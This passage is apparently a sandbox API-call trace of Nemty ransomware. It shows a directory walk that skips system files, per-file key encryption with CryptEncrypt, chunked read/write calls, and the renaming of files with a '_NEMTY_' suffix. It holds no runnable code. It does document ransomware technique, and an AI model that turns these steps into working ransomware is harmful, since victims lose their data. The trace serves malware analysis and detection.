lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.464] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.464] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.474] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.474] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.474] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.511] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.517] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.517] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.523] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.524] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0080.524] CloseHandle (hObject=0xffffffff) returned 0 [0080.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0080.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0080.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0080.524] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0080.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0080.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0080.524] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0080.524] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png._nemty_kgobjgd_")) returned 0 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.524] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.524] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="...") returned 1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="windows") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="$RECYCLE.BIN") returned 1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="rsa") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="NTDETECT.COM") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntldr") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="MSDOS.SYS") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="IO.SYS") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="boot.ini") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="AUTOEXEC.BAT") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="ntuser.dat") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="desktop.ini") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="CONFIG.SYS") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="RECYCLER") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="BOOTSECT.BAK") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="bootmgr") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="programdata") returned -1 [0080.525] lstrcmpiW (lpString1="15x15dot.png", lpString2="appdata") returned -1 [0080.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0080.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0080.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0080.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0080.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.525] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.525] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.525] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0080.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0080.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0080.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="15x15dot.png", lpUsedDefaultChar=0x0) returned 12 [0080.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0080.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0080.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0080.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0080.526] Sleep (dwMilliseconds=0x5) [0080.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3a71fd0, dwHighDateTime=0x1d561e7)) [0080.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe3a71fd0, dwHighDateTime=0x1d561e7)) [0080.540] GetLastError () returned 0x5 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0080.541] GetLastError () returned 0x5 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0080.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0080.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0080.541] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0080.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0080.541] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="Cv/ZkBk5YZIvcuZJuqK7Xwy9YfLrVRP2BKl6iXZNHGHG1+p31pUKJjSYASWDvfoU\r\nhESgN2QJspuvnDoSEvtO5ZAf8NUB7dxs15NeM444szxXlQEyRcxVoTjXQUG8YZy4\r\nJLWIzll0HYr1avBeElbZSnGDPlCf9aKt0tATJDbbNGWuKTQwMdPM7jxpj4ukTWyQ\r\n8le41fKXe2EfPM9hxjgwg5Dcvtgk/AYPgt3HD1dLoabP9IFEYb1pgf98IkDc6db5\r\n0BBHbdETYoNQ6oKf0JB4EBCTtHLM2fvWq2SHDI46cOex9+3ZYXiAndNPEXzUROmN\r\nfactlEncHOq3jT6gUDe+Eg==\r\n", pcchString=0x653e91c) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0080.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0080.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0080.541] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0080.541] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0080.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0080.542] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.542] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.551] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.551] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.551] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.560] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.570] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.579] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.579] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.579] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.589] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0080.589] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.589] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0080.598] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0080.598] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, 